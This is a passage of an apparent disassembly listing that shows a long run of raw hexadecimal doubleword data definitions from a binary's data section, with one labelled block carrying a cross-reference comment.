		dd 1D8FC93Eh, 8C40206Fh, 0C898DC8h, 8B7202ECh, 7F3D64CCh
		dd 0BB1A00C9h, 0B2420C0h, 425DC531h, 9888B454h,	99E58623h
		dd 7D00183Eh, 0DB113CD1h, 0B130DC68h, 0C0893B0Ch, 0F8114A74h
		dd 0DC6F01EBh, 9CB5E000h
		dd 8C238F28h, 2C8ED720h, 407051D6h, 0E46CC592h,	0BD0F97E8h
		dd 3B6CAEFh, 0AC765C81h, 904CDCB2h, 681B1418h, 0C8A14EE5h
		dd 27A300B5h, 47C71D5Eh, 0EEFE4E3Eh, 0F8072349h, 10DD44FAh
		dd 0A8060038h, 0BFD9E713h, 4860731Ah, 7115C575h, 0E600DA55h
		dd 865A747Bh, 8F09CAECh, 0AB6A5456h, 79B4711Ch,	0AB018A5h
		dd 0A243F73h, 0A3465C20h, 0C2A17300h, 0D10C725Ah, 98B9D2Fh
		dd 0FD748210h, 4DCF012Ch, 10003FE0h, 0DC0B32D0h, 0CC50E5A0h
		dd 1D4E078Ch, 7CF226B0h, 0C28EE26h, 0B748E814h,	6C402EE6h
		dd 45E4EAh, 7A478839h, 738D1B0Bh, 7590F600h, 0BDED3063h
		dd 107492DAh, 3B2ADB8h,	0CFF01311h, 0E4B5AA0Ah,	7E350918h
		dd 0E44C26A7h, 0E4C2714Eh, 68D8E83Dh, 805B4BA0h, 539D2F14h
		dd 50C1954Ah, 26E0307Bh, 11D4692Dh, 6E7D7C82h, 6860207Ch
		dd 0DC720C90h, 61ED4640h, 982A596Dh, 0E4FC802Ch, 9437A22Eh
		dd 0FAC1AA01h, 75C886EBh, 0A85F097Ch, 90515394h, 0A09E0312h
		dd 0BA7FEDC0h, 950CDCC5h, 0A9D9A2AEh, 0F420970Ah, 0F512D550h
		dd 0FE31A600h, 18A6E77h, 4C99003Bh, 9B3F8EE7h, 0B30AD1E0h
		dd 9CEB3130h, 78BD7102h, 3EB85A11h, 4044E8D9h, 0DC349295h
		dd 185CC218h, 0F603E50Fh, 0E1E4C404h, 6C6023AAh, 52D3212Fh
		dd 79F8B8h, 4A074D50h, 2A191C86h, 190C83Eh, 0E53936CAh
		dd 222A316Dh, 0FC1AF400h, 0EB00D404h, 33D5A97Ch, 5A1E9D97h
		dd 9604E4EDh, 6C5F20h, 0CE61EC87h, 0CB38B88Fh, 0F856CA30h
		dd 0BAAE1455h, 38810F8h, 169B3E0Eh, 88A5B14Ch, 30DABC31h
		dd 0E412AE1Ah, 0E8E228D0h, 0AE1163C0h, 0D00FAB1Bh, 0BAF67E2h
		dd 0BC18D938h, 0DC3B0B07h, 2432832Fh, 4833916h,	7D5E3C90h
		dd 3ADB1595h, 45EB039h,	870EE6D0h, 6229CC74h, 54253800h
		dd 85EF122Ah, 319051Dh,	0EC979B4Fh, 52DC8430h, 0B1F4C8h
		dd 0A75311C3h, 0A6DAEE71h, 54857200h, 0EDB00E1Eh, 64CB9E1h
		dd 69320482h, 87AC433Dh, 0E065D2F9h, 7AD737C0h,	61B6097Bh
		dd 64C51478h, 0EE6042E4h, 0CD04F8ADh, 5C886AFFh, 8B4A58BCh
		dd 0C041C804h, 8740D855h, 0D4D3280Bh, 65605E4Ch, 94B90Ah
		dd 18E06899h, 3EBF6159h, 1302A504h, 0B24E7E5Dh,	0F6208CE1h
		dd 0E0000C7Ch, 568E5EE8h, 3C6A008Ah, 2BF36DDAh,	7B18DB5Ch
		dd 0F814FD3h, 1AA00CFh,	0EB2FF0A0h, 1604A63Ah, 0D865D124h
		dd 504BCBCh, 0E06DECBEh, 9CA11000h, 0A4C0F481h,	689048B2h
		dd 0D18242F2h, 6AD678B0h, 88410186h, 59DFBC0Bh,	4A68851Bh
		dd 3CA838A8h, 0B5CEDB09h, 0D20FC98h, 25D94B40h,	4879EACBh
		dd 1275D506h, 20AC9040h, 0F0BC73E8h, 0D2F5F340h, 980E604h
		dd 6152C836h, 583B4C93h, 92DCC011h, 0CCD05AC4h,	51C5587Ch
		dd 4CE99D33h, 744D8B25h, 5909A660h, 0C096258Fh,	5F4E18F8h
		dd 0BA8EDC46h, 40709891h, 0DC60EA2Eh, 0AE0B7D41h, 9FF113E5h
		dd 648A07D4h, 97204AE1h, 0E220A371h, 0B1243046h, 49362501h
		dd 51686796h, 25277C70h, 68913070h, 0A291859Bh,	5481EEAAh
		dd 7D012F7Fh, 4433C93Ah, 9C0AD98h, 634974DBh, 71106090h
		dd 0BBCC8F89h, 0DCE28D4Ah, 599CF00h, 0E2AF93E3h, 80F3FCF8h
		dd 0B015EAF9h, 0E046C52h, 443C8914h, 579A0D60h,	0E4133385h
		dd 8009BBFAh, 7A5C10E0h, 0F8C595B1h, 0A16041C4h, 820757F5h
		dd 3006B539h, 90CE9692h, 2638B6C0h, 86B82D69h, 7012A04Dh
		dd 90830B27h, 5F548C5Ch, 0C2A482BDh, 7D4C1075h,	593A9864h
		dd 820124C5h, 207B80B8h, 111DD654h, 99398041h, 31805F6h
		dd 3143E53Ah, 60A681C5h, 4CA86A16h, 42E114B1h, 95B01C74h
		dd 906184EDh, 0D140F9DFh, 0FAEC86B7h, 0EE250B8Eh, 0A80219C3h
		dd 1C242440h, 6BF8AF40h, 2BE53C10h, 6CF0E812h, 0A84D0980h
		dd 14E25DDBh, 1ED6E0FEh, 8FDE6E2Ah, 8B009CEDh, 0B5D0FC25h
		dd 25B04020h, 3C929353h, 0D458F6h, 8F9C096Ch, 12CED82Eh
		dd 0ED38B40Ch, 4855C0E0h, 0EB806465h, 7813207Ah, 0F4971A07h
		dd 2644AD6Eh, 0EEB804A0h, 7C7207A9h, 6C6482D1h,	245027FEh
		dd 0A378A2F8h, 0DC86D414h, 8C47F8CCh, 9306AD3Bh, 984174C8h
		dd 6EC9E533h, 7C270022h, 0E0841CE2h, 413F0DE6h,	9C80BDF0h
		dd 88C62F68h, 0A1659B26h, 8C44A422h, 5AE20958h,	0E8CDE6C5h
		dd 391351C0h, 7ACEF47Bh, 60B04BBDh, 1DC51160h, 602600B2h
		dd 0DD91682Ah, 4DDAEB00h, 73F7EEEFh, 53B0CB64h,	0EB098C44h
		dd 23C4C841h, 45D8C1A1h, 61F09EAh, 0B87E106Ch, 0DA465Eh
		dd 409E2EF4h, 97F28707h, 0A8916417h, 699367C0h,	0C89420A0h
		dd 300BBA38h, 0ECDC68B7h, 0E5F3047Ah, 0E496E393h, 6B40FCC8h
		dd 90B54ACCh, 0BA2E84B8h, 7E439D0Eh, 0C8B6F368h, 0F2FB16E0h
		dd 0C9F5C4Ch, 706FA22Eh, 409FB573h, 2980D411h, 0EC2A300Dh
		dd 0C83EDC5Ah, 3AD823h,	0CB799EA6h, 1E050C11h, 0A40855CFh
		dd 0A34EB944h, 30A5E25Ch, 0CA02A1FBh, 9920B6F9h, 242058D9h
		dd 8074B465h, 0A53D81D0h, 0B14B5B6Ah, 47E2DCB2h, 4C429930h
		dd 5D277414h, 5F81D440h, 0E4DCA827h, 0A36624C0h, 98C94068h
		dd 560EF468h, 34A68694h, 1A6F0090h, 65A9CB89h, 887AF77Eh
		dd 0C8B4F788h, 546465Eh, 6D68525Ch, 2D864E4h, 0C398087Bh
		dd 0C456099Bh, 94E23080h, 37620h, 0CBACD7A2h, 401BBBE6h
		dd 8C679A04h, 0AFC1683Ch, 0C878D178h, 0E8483D18h, 0F059B625h
		dd 0D8A101BCh, 47A65D4h, 1C4D10A5h, 0BDE103C7h,	0B43204DFh
		dd 0CA376703h, 9C83FC6h, 6B136A1Bh, 0CC0491D1h,	2B01D379h
		dd 2A333A15h, 4068ECCCh, 807AEDBCh, 84B20E4Eh, 4241910h
		dd 0D455CEC2h, 690E14ACh, 28B8B488h, 0C052DC27h, 14205EE0h
		dd 2225DB5h, 98663BD9h,	0C0E4A003h, 518A4CF0h, 8626015Ch
		dd 43592546h, 0C2F042E7h, 0E00473A8h, 58C867E5h, 0E4031CE8h
		dd 15EC9D96h, 6C04E4B4h, 0DA1F6B42h, 8827BEF8h,	379FE85Ah
		dd 0D595053Ch, 0F1EF00D9h, 98EB63EEh, 0CE309F09h, 95BCD803h
		dd 20F130C2h, 0C1386DAFh, 0F0A09142h, 0C0486773h, 99A444DCh
		dd 6BE241h, 0DBF7DA9Ch,	54B250A0h, 8F995800h, 0B6233FC4h
		dd 2FF09CD8h, 46913497h, 0F110B280h, 0AD095C50h, 8261A8CFh
		dd 44319D00h, 14E6955Ch, 415998B9h, 4701A218h, 0C04A3AFBh
		dd 0E1883834h, 1B04E349h, 8C92284Eh, 80F0DC53h,	0D4121427h
		dd 8F00300Ch, 482658CAh, 3A04AFA3h, 5505431Dh, 0E6DE1610h
		dd 98C6E1C0h, 63EC8D21h, 40535FB1h, 42DB3770h, 0AFFE650Dh
		dd 522DC400h, 0FED6BAE9h, 61A113F3h, 9858047Eh,	89C83744h
		dd 0ACD661B5h, 0CFAEF760h, 80F682E6h, 345D808h,	5A441156h
		dd 14900C5Eh, 94AE35h, 3F2A12B7h, 1EA5E7CFh, 0FD835C00h
		dd 4EE0990Bh, 2695125Dh, 0B894E9DBh, 36BE39A0h,	0D8FA4825h
		dd 0B5BF440Fh, 39EC82D7h, 258CD06Bh, 0DC5C38C0h, 4BA2AD0Bh
		dd 305EF9A4h, 8E5FBC38h, 0C0D1C8B0h, 0AE7BDB72h, 5C49D04Bh
		dd 1CC7205h, 6711610Eh,	0FC25F66Bh, 0B4AAB8C0h,	9058025Dh
		dd 64B500A0h, 41C2DCEBh, 0E67CC040h, 0F8FC27ECh, 0BA003C3Dh
		dd 875EF403h, 3CD100B7h, 0B2EB2FF7h, 0EE25CBE2h, 0B4987A4Ch
		dd 8601D6D4h, 25DE3E42h, 982DFC26h, 91470A00h, 0DFEB31ECh
		dd 0CB923A1Ch, 0F19A6B87h, 54DDCDE2h, 541B02F0h, 0D8512446h
		dd 2718A6D9h, 94748E01h, 0ADCD32E5h, 0CC17B06Ch, 81A020B6h
		dd 433CE15Ah, 0C2FC48EFh, 0D46C8813h, 5639042Ch, 44B74B84h
		dd 0A7A300B8h, 0CE2EDC9h
		dd 73A32BBh, 14CB5A0Dh,	2BC0A1C8h, 0D632FF8h, 34D9278Fh
		dd 0C4486D84h, 4E207766h, 987A839h, 0D8028BDDh,	0A6203E3Ch
		dd 2630B5E6h, 9E0E3E1h,	1C59A969h, 22F4B115h, 0E5390B24h
		dd 2C7A35C1h, 5625B504h, 60E9B148h, 34753898h, 0C8A2394Bh
		dd 0B4DE0479h, 0F0539D99h, 472F6CCCh, 84681D56h, 0A8E1E53Ah
		dd 0DFE3031Ch, 0F5C5CF0Eh, 2CB5F4B0h, 93749938h, 5BC0BC9Bh
		dd 22A0802Ch, 0F51094D7h, 0E25E3D51h, 0AFAC1D7Ch, 7517081Eh
		dd 0F0D9A09Fh, 38207B94h, 29A86053h, 0ADC04F7Ch, 5C7950B2h
		dd 0CF55AD02h, 0E0177593h, 24814091h, 0E81759A5h, 689DB670h
		dd 16E9FA34h, 8B0A12D7h, 0C0DBC8BCh, 71B84AA4h,	0B672E200h
		dd 12BDDF55h, 8CE03E8h,	1689E6FDh, 301C40E0h, 19D2AB00h
		dd 633BF21Dh, 0C4DF0CDCh, 821A966h, 0A094F09h, 3203856Bh
		dd 95CB24C0h, 2D79E80Ch, 64A3B786h, 1FFBA55h, 0E0263AF9h
		dd 7E01C3E1h, 5AE372DFh, 0ACDC3624h, 7CB60099h,	0E40A1A85h
		dd 6F5BA310h, 4B88B4CEh, 0CE4A31C0h, 8841003Bh,	6DF9A586h
		dd 0B79539B3h, 0B8EE0048h, 79A8E037h, 28B4A8C3h, 0F840C55Dh
		dd 396254A1h, 6CC5B5E3h, 3E0D0374h, 183A310Bh, 0E15C0812h
		dd 97017806h, 0D2392008h, 641F8924h, 2841C70Ch,	10576355h
		dd 8310C16h, 2F9431C1h,	28481198h, 18C6CF9Fh, 2008F772h
		dd 0AE44E524h, 0D9C340D1h, 0FD382D63h, 321010C9h, 2178332Ah
		dd 31088646h, 6718138Ch, 35088C25h, 0C61818E6h,	187364C1h
		dd 32FCC920h, 0FF08DCADh, 0F8373050h, 0D9FC10EFh, 4729C629h
		dd 0F0634054h, 31B7B981h, 0CBC9A208h, 2040BB0Eh, 0C65D71BAh
		dd 204E2510h, 0BD806F71h, 51FB819Ch, 8874A08Ch,	0C01DB08h
		dd 0C63017E8h, 40396540h, 0FD627AEDh, 39DE108h,	201012E0h
		dd 0E531D453h, 9E559C89h, 91F34A08h, 4610103Bh,	0E9261866h
		dd 0C4BECA30h, 0CFB3008h, 4094A1AAh, 71C670E3h,	31180D41h
		dd 3B4847D3h, 98188CD7h, 401B08DAh, 6632CBBh, 10034928h
		dd 100F9108h, 0B12A151Dh, 0EBD63298h, 98AEC408h, 381BF988h
		dd 0F4164489h, 0ED08C62Eh, 953218EAh, 0A7928023h, 207CC8F8h
		dd 185263A7h, 8225383h,	60AB327Ch, 84A67A20h, 18201937h
		dd 1E8F206Ah, 50F00D32h, 1C4A203h, 93040457h, 0F1181F38h
		dd 7B1008C0h, 0B97480CDh, 4F6708C6h, 27D12058h,	20682F20h
		dd 3F319B9Fh, 516A08DDh, 0B810288Ch, 0B9CA6210h, 7F889CA2h
		dd 35780826h, 20C1F118h, 0FE868021h, 0D8EF38C6h, 67353108h
		dd 8C1C6518h, 18C85048h, 2711409Ah, 243FC0A9h, 7C928CB0h
		dd 8191AA62h, 1BA7033Ch, 0EE580818h, 0C62CF518h, 8716228h
		dd 26394C64h, 485B2092h, 0C65609A4h, 38CBB208h,	101A6031h
		dd 89939A6h, 93AD29D4h,	1C448169h, 0B804BACAh, 0BFD806D4h
		dd 82EC5B08h, 7C49AEB8h, 0EBC8532Fh, 0BD684919h, 26D6FA28h
		dd 5B3110C0h, 0E0892040h, 0E0A4D602h, 93FC9347h, 0C8B2712Ah
		dd 20625931h, 8922912h,	0F3304A1Ch, 30BA8C84h, 11C6E618h
		dd 20083AD7h, 573245C1h, 68E330C5h, 0C64BDC34h,	8198818h
		dd 0DEB1C860h, 0B953F8BFh, 98053984h, 0D33E69EBh, 0A3C07650h
		dd 10C03F41h, 756FF625h, 46D1056Dh, 840FF26Ah, 8E0B06Eh
		dd 56BB3100h, 4EF42B4Bh, 0C6E000AAh, 1A4F70CEh,	6E77FECFh
		dd 4CB839F5h, 52CB00B8h, 0AD0BFAB2h, 0EC9700F3h, 0D4EAE5E8h
		dd 541F5CD6h, 13C06F7Bh, 0B6FB1773h, 0A3612AFh,	5800EBFDh
		dd 1976D3A3h, 0E0334838h, 29FB17h, 953717FCh, 0BC00E9B5h
		dd 0F0A61032h, 267375h,	6BFED73Ch, 7EF41901h, 5A000FF0h
		dd 621C8814h, 938A576h,	98FAD10Ch, 0ECFA85h, 94DB54F9h
		dd 3B006ADCh, 222C1EDDh, 67161A3h, 0E447734Fh, 0DF309814h
		dd 84FB800Bh, 5289144Ah, 0DA28CA42h, 0AE6225B0h, 5090947Ah
		dd 6444E89Dh, 801A0C47h, 0DC108C09h, 0B3D4FD0Ah, 3B1EAC54h
		dd 603604C3h, 7C7ECA40h, 2350080h, 8C6BC50h, 36BE521Eh
		dd 0C7B3202h, 53FF41DAh, 40807EE9h, 0EE4F489Bh,	54741389h
		dd 0E4786A41h, 0B49A3B80h, 611C8072h, 6640868Eh, 6230ECE0h
		dd 68B8C02Ah, 0A099171Fh, 0D206E8B9h, 487091h, 2411833h
		dd 0FFCDF47Eh, 398F200h, 6B7DAEE7h, 1AD603ACh, 0DF23540Ch
		dd 7BEB3000h, 9FCA4E01h, 731C0F19h, 0E900E8CEh,	7AECFFD0h
		dd 937CA0BFh, 3B7575Fh,	0D34F389Bh, 0D000332Ch,	0D4ECFA23h
		dd 30C2169Dh, 3920CEE2h, 6B28E0D8h, 815AA476h, 53D0B081h
		dd 712C840h, 0C880FF38h, 0E96DA097h, 0EB00F0E6h, 89455475h
		dd 0C0CB53D4h, 3FF38C60h, 6300861Ah, 42D3C60h, 28B251h
		dd 0CEE053E2h, 0D0EE4ED8h, 0AC30FC2Eh, 0F5E43943h, 4041F85h
		dd 31C20ECh, 0DC421A7Dh, 9F18FBE0h, 0B454C883h,	4B618255h
		dd 0B070A368h, 62B15304h, 0A20BB00h, 50CA12F6h,	996090EBh
		dd 37D36F9Fh, 0D9B87F61h, 547E2810h, 40F31730h,	18A018DDh
		dd 0A0D73A03h, 1914369Fh, 92477ECh, 1057618Dh, 50334Ch
		dd 63B2A441h, 13340999h, 0C31C1A00h, 3D31582h, 48FCA97Ch
		dd 8C88A110h, 1CE64Ch, 0CE1FD4Dh, 333CFAh, 6B55D042h, 76255261h
		dd 1B443Eh, 1541AEDBh, 9656A3Dh, 0C27330DEh, 20AF9024h
		dd 9E2DB39h, 6837FFB1h,	8972081h, 54A18670h, 0E1713Ch
		dd 0ED62618Bh, 0D415BA89h, 884C1128h, 17697E1Ch, 205D149h
		dd 0C0A3A8h, 6FA9168Ah,	0FE927409h, 43844214h, 82EEA2DDh
		dd 0D6C20A8Ch, 0D407039Ch, 3800C6BBh, 0B854A185h, 0EF040963h
		dd 77FC3020h, 0F66C0C81h, 13588706h, 209C4D03h,	44317ED4h
		dd 30D3EC38h, 0E2104AD2h, 40903306h, 72EBA900h,	0B8569D0Fh
		dd 0F89F06A2h, 2885C8D4h, 8A5A324h, 12A80C67h, 0E03A12E9h
		dd 0AE0060FCh, 0A9FA3BCh, 153E278Fh, 0D080FBD3h, 81101849h
		dd 0CEE301ADh, 0D83B4F30h, 0E6141422h, 1310306Ch, 10429Ah
		dd 78BA90F0h, 7FCFEE34h, 25A09017h, 98F0C931h, 9B058703h
		dd 0D0EB1A30h, 0E555C95h, 0F1B386CEh, 0C5682044h, 0E12A826Ch
		dd 0C834F0AAh, 0D4FC03B8h, 0F0072751h, 1A37677Ch, 280BDD43h
		dd 9E06A30h, 78EC7D88h,	3EFB5810h, 0E220F262h, 0FC70405Dh
		dd 0C9E93054h, 0A98F4C0h, 0D4003E7Bh, 323C2D16h, 7E5857Ch
		dd 0E17B49B4h, 9AAE01Ch, 710EE241h, 0FFC2AE3h, 3B617880h
		dd 0C65418ECh, 9565090h, 40A48B4Dh, 0E60058A0h,	7DEC49FDh
		dd 0B8576684h, 0CC00BDAAh, 1817FEE2h, 2C970A12h, 0A7B32003h
		dd 0D5B4D036h, 0E8A65298h, 68CDEB14h, 0E2589D30h, 649840D0h
		dd 48A2A890h, 0B354B081h, 0BD888C92h, 40A61017h, 0F0A109E8h
		dd 3090201Ch, 22CC2750h, 4A62C540h, 3580A4ADh, 550748C2h
		dd 0D49CC02Bh, 30BA4917h, 6E01A021h, 1B327BE0h,	0C402BC54h
		dd 5D4FF31h, 2CD40487h,	19A001Ch, 27123304h, 4C40C10Ah
		dd 14B86661h, 0A2D1BA02h, 6CBDB410h, 78EB00CCh,	0FE694975h
		dd 0EC28F570h, 850B08D0h, 202E5409h, 0DF4248DCh, 4C64B0ACh
		dd 7B01F414h, 0FBB6997Dh, 0A148CFD3h, 0B87C0998h, 89141804h
		dd 0AFF700B9h, 70B3DFD9h, 0BD543530h, 0CD203118h, 540D179Bh
		dd 0BD20B0FBh, 640670Dh, 88ECA83Ah, 55097A8Eh, 9820E01Dh
		dd 48E8F46Ah, 1938CE4h,	0E3B649E4h, 0AF287008h,	1B1A4E07h
		dd 2F8355E2h, 621114B0h, 0B0401456h, 58F154C4h,	28E250E5h
		dd 90610856h, 70EF5A0h,	5F6D6FD8h, 0F98A7700h, 0D031BB36h
		dd 3B0A0878h
		dd 3E14082Fh, 58E02050h, 310F509Ah, 0C4A24138h,	0F581CB7Dh
		dd 9D169230h, 0C8EE4C80h, 0D3123828h, 0C073C294h, 0F854FC9Ch
		dd 0F377347Ch, 31C48111h, 122181ADh, 0CDE5D4FBh, 78F09C24h
		dd 0B20CE609h, 3A402D4h, 228530EAh, 0D2A3BCA0h,	0D4E2E257h
		dd 28783433h, 18B07A9Dh, 2806B430h, 0E313522Dh,	0B8E40898h
		dd 1AFCB8B3h, 11ACFF85h, 7FB1B460h, 14FD3304h, 7CC0CE13h
		dd 5D93D462h, 0B90020E8h, 7CF2B1B6h, 34BA7214h,	0CD5348A8h
		dd 32A4A548h, 9EA0E6h, 0DE3B89F7h, 81CB50C0h, 58B77ADCh
		dd 5A13D887h, 16C027C6h, 1B4C30BEh, 17221Ch, 147F0AA3h
		dd 0D46C5C55h, 7EA2981Ah, 0DA148511h, 3F64F821h, 170EC048h
		dd 4B7D09D7h, 5480B4FCh, 42442085h, 0F500847Dh,	39749D8Ch
		dd 136C54FDh, 7048CED0h, 9FE242E4h, 73F0D14Dh, 7C57E145h
		dd 0E81702C7h, 68BF6DF2h, 1DDD5C9Ch, 0FDAD6182h, 12C87CA8h
		dd 616AD2F1h, 33E1CC04h, 15207C08h, 2A0A25DAh, 9F12F0DCh
		dd 0B416350Eh, 8AD4162Ch, 7A37C40h, 0BC3D82h, 29D2EBD7h
		dd 0CF1674E7h, 604ED029h, 140F3016h, 9003F69h, 17B64140h
		dd 0CDCC2838h, 54590AF4h, 1C020CEh, 5E61FEC6h, 88892096h
		dd 0B676D419h, 0D070D570h, 3C29CA62h, 9007C984h, 9C23CBE3h
		dd 82E46342h, 0A061B6FCh, 923C7060h, 0CCA03894h, 40C43B4Dh
		dd 22DDDCCh, 88C822B8h,	20CCC6BAh, 4CB2D378h, 865CB400h
		dd 0D05880B7h, 7AEE126Bh, 0DDC0018h, 0D4BB6FC2h, 50BA43E2h
		dd 24B48625h, 87C418h, 5230A20Eh, 8A144A64h, 0C58014C0h
		dd 0E4488520h, 52CB123h, 0D02190Ah, 0DD10B1C4h,	0DC9420B4h
		dd 0A06E0BEh, 0B030825Fh, 15042064h, 24A53A3Bh,	3150143Ch
		dd 0E4C150F6h, 0E16E60E6h, 6417D3EDh, 33941899h, 2AA600D0h
		dd 14192958h, 430A2F02h, 350870E1h, 0FFDC65A4h,	84DB7DB8h
		dd 0A841D330h, 0BAB67A53h, 6408F934h, 0B3742750h, 0EFCC011Fh
		dd 0EB288A98h, 86166E89h, 0DD13449Fh, 0D50BC68h, 0B0B5E0FBh
		dd 0FFC4B032h, 0EF232080h, 380F2AB6h, 946948F4h, 12400B2Eh
		dd 19B8011Eh, 0BA6104D3h, 0C099AD70h, 0F80C8970h, 0B23800E0h
		dd 19DEE309h, 58B08B4Ch, 58484920h, 0E781741Bh,	0B8197230h
		dd 5CD890h, 62C609FBh, 98048E70h, 60134584h, 9E30D49Ch
		dd 69926814h, 0DB343C7Bh, 0AE4B628h, 1CE3FF0Dh,	0AB6040D0h
		dd 889899B7h, 0E006D33Dh, 9CB68838h, 0E4FD097Bh, 0BF0375EAh
		dd 0EEB85171h, 0DD78C06Dh, 3C0F5902h, 58CB54EDh, 0FE3B0038h
		dd 5843FA09h, 7B045961h, 3A634F73h, 78D40884h, 0B0F8D480h
		dd 0D36C09ECh, 6444392Ah, 0A888989Ah, 61BFF20Ah, 0F8501D18h
		dd 0A0773C54h, 488BEAA4h, 0CFC524E5h, 0F17C8817h, 77B1FB00h
		dd 2884FC25h, 0A4C7140Eh, 3C009443h, 0DB4D6E15h, 8078F392h
		dd 0D9E2DD2Ch, 53499305h, 42B7087h, 84C2D018h, 0C99360EAh
		dd 0A988C108h, 0E49E9503h, 3800133Ch, 0F37F6335h, 0F2E0EC82h
		dd 0F0A2582Ah, 0A5909B2Eh, 99B8D80Ch, 0DF886095h, 0B40750D8h
		dd 0A31840E4h, 0A745F500h, 82FE1F24h, 0AC9024C6h, 20BC0940h
		dd 0CC2C6C45h, 7E0C9D2Ch, 1E8E4187h, 437DFA2Eh,	0D1DD5ACh
		dd 0F9088284h, 541090A0h, 6896BFF3h, 0CD098802h, 0D840E826h
		dd 8F44D30h, 0B41A2Eh, 3BDA8BA3h, 0EB0019FBh, 5A5C83C6h
		dd 789A6FF9h, 0B289046Bh, 0E8DA3B90h, 64AB2CC0h, 847EE10Eh
		dd 4C870F82h, 1CD05464h, 2A598C8h, 83263499h, 0A887D04Ch
		dd 1C80092Eh, 0C306A13h, 4E5CC649h, 0C185C003h,	90C8C5AAh
		dd 7A4300Ah, 69BED050h,	0C5440913h, 83FB6800h, 0FED79CCh
		dd 0BC9B8B19h, 1C429AA0h, 0AF3130C3h, 0A513D863h, 5DD3A048h
		dd 89060C2Dh, 88F2A109h, 8B7CB204h, 0B4C3061Ah,	0E8895464h
		dd 620132FBh, 0B051B548h, 178C7800h, 1423B77Fh,	8D0ECA6h
		dd 54128A02h, 0B882A76Eh, 2C7196E0h, 8509682Ch,	53F8686Ch
		dd 0A47302ADh, 0DD48A6D3h, 0A8A2787Ah, 0EE006870h, 783209EBh
		dd 73AC1D39h, 7C253AD3h, 3304D80Fh, 0D15D1006h,	0D423AF04h
		dd 0A895C7C0h, 8E353409h, 134A9A8h, 6EAFD31Ch, 407C4434h
		dd 931D2DC1h, 4F80D1ECh, 901920B2h, 5A623354h, 78E88428h
		dd 8700B497h, 6E7759Dh,	0FAD44C1Eh, 0BBD31622h,	0A4503074h
		dd 0F0F0A63Ah, 43293C00h, 319ECB1Fh, 0F4D41275h, 0F2584013h
		dd 1060AF6Ah, 1DD9AC00h, 0ABCCAD62h, 0BB4C0252h, 89D40A0Dh
		dd 1B61CC87h, 24687489h, 7B0BD9EBh, 80B9AF7Ah, 9804CFC0h
		dd 274F8D8h, 0E17E6CDh,	2C582A31h, 406A142Fh, 0B79153B4h
		dd 0E4E70000h, 9913D2BCh, 0F417h, 0BDDFB115h, 78610274h
		dd 1C64D6Ch, 24270C60h,	0A47550Bh, 70086241h, 0B189C70h
		dd 5C01497Eh, 3AAE09C0h, 6BB8B0h, 1CEE9860h, 0B5CD43EBh
		dd 3C8C30D3h, 0C1454BD3h, 0DC86EE6Ch, 948A088h,	61206441h
		dd 0EC18D0C0h, 30D500D2h, 798EBC8h, 5C79B21Bh, 0CC00DAEEh
		dd 990A0616h, 2EE46C9Fh, 2760789Dh, 93E3A460h, 0D47B6406h
		dd 5868DEC9h, 0B115347Fh, 3813D45Bh, 4C34A841h,	6F688500h
		dd 0A84910A6h, 57780A0Ch, 3015CCD9h, 0DACDBB4h,	50254654h
		dd 0E1408702h, 51972A00h, 0D3C0029Bh, 0F8A32F3Ah, 597D6E08h
		dd 41483409h, 2584F0D1h, 829B080h, 99589CE0h, 0D118F166h
		dd 13E57348h, 8876ED03h, 0F9407ED0h, 0B55402A2h, 7B3409E3h
		dd 6C6130C0h, 0AC009073h, 0F7D3B38Fh, 6B0333Ch,	993A31Dh
dword_4E414C	dd 0E09838A4h, 61FD340Ah, 0EB40CC70h, 0CAFBB630h, 808CB820h
					; DATA XREF: ___:off_43A188o
		dd 7E6014DCh, 5901A916h, 0D4DACD67h, 0D8805A77h, 5ED72D62h
		dd 0B400F341h, 8D618B79h, 136421h, 962A3C17h, 9A8F4DEh
		dd 601B6C26h, 94003292h, 0FFE3401h, 2CB7B0A6h, 49902E0Dh
		dd 369E7C80h, 0ECF21EB4h, 741DC876h, 69CCF922h,	39879844h
		dd 4081C5FCh, 981586Ch,	1BB834E8h, 0FA68661Dh, 0D8703ADCh
		dd 79D41486h, 0BDE31E8Eh, 0D5B1331h, 0A7302D7Ch, 276ED488h
		dd 0D4668C92h, 3CA8162Ch, 147E2F60h, 0E1D6E75Eh, 9C6C69A8h
		dd 6AE43A08h, 0BC059400h, 48EE7C2Ah, 9B10207Bh,	6E13024Ah
		dd 92C6030h, 1A7AAC21h,	0D310A82Bh, 0A7257CECh,	19181839h
		dd 50A482FAh, 40991297h, 277CF830h, 201113A4h, 0BAE06097h
		dd 0C829D141h, 4F88552Ah, 9DC44BB7h, 0B530F421h, 194084DEh
		dd 348CCFECh, 0E7FC9AF4h, 778CD0h, 2BBCB156h, 0F8D4027Ch
		dd 0C0994B9h, 0E888E8A3h, 0B4A600D0h, 6C1485C9h, 55273065h
		dd 899CA10Ch, 9B70101Ch, 8DE40332h, 7E419390h, 0A38C85BCh
		dd 9BFB169Ch, 60C0E8C4h, 386C55FEh, 4FA0D4E3h, 4899C890h
		dd 0E7E7980h, 30FBBCCEh, 85381FADh, 9504A15Bh, 8CD4065Dh
		dd 992D64ECh, 97717498h, 598E080h, 9BB56CF3h, 8C87C721h
		dd 2C021618h, 0CF557E49h, 44AC58D8h, 413A85E2h,	18214BA7h
		dd 0D2024B70h, 0E47A1C44h, 6505913Fh, 0AC811C70h, 0F8293730h
		dd 5460B689h, 4096E7FFh, 0DF17F424h, 0FEF1A4F1h, 69060428h
		dd 40683807h, 8D3E8A77h, 20E05AD4h, 10A302E0h, 0AA13753Dh
		dd 0D46AE048h, 20522630h, 0FE60EAh, 292DAD86h, 0F2DF9CAFh
		dd 0E3FB7C00h, 766C6361h, 25A406C8h, 0C928D90Ah, 9CB3D326h
		dd 0E99C5462h, 11E43BA4h, 24033F44h, 3CD46386h,	25046870h
		dd 98DF4F31h, 0A6EBA8CCh, 54319ECh, 0B00AC86Bh,	87A5686Ch
		dd 6C87E66h, 5418049Bh,	3B003140h, 0E245AA29h, 972E185h
		dd 1DA730E4h, 88948C2Ah, 0E113D77Fh, 4FE0BC04h,	3E626F00h
		dd 4A005192h, 0CF98B873h, 8BB196h, 8D171F67h, 0E2E65069h
		dd 0FDBA9496h, 1060322Fh, 802F8154h, 3076EC01h,	0BA2280h
		dd 745DEDF9h, 0DB807314h, 603150C3h, 2E880E9Dh,	4160F4C1h
		dd 7D1DFB30h, 0F4A36D7Fh, 54135902h, 0D2DCD3F2h, 6780F090h
		dd 50DD106Ch, 86D47CF3h, 84EC4554h, 987DDB28h, 10E11824h
		dd 643EE8Fh, 108EA2h, 7741886Fh, 2DDC14FAh, 0AC06A171h
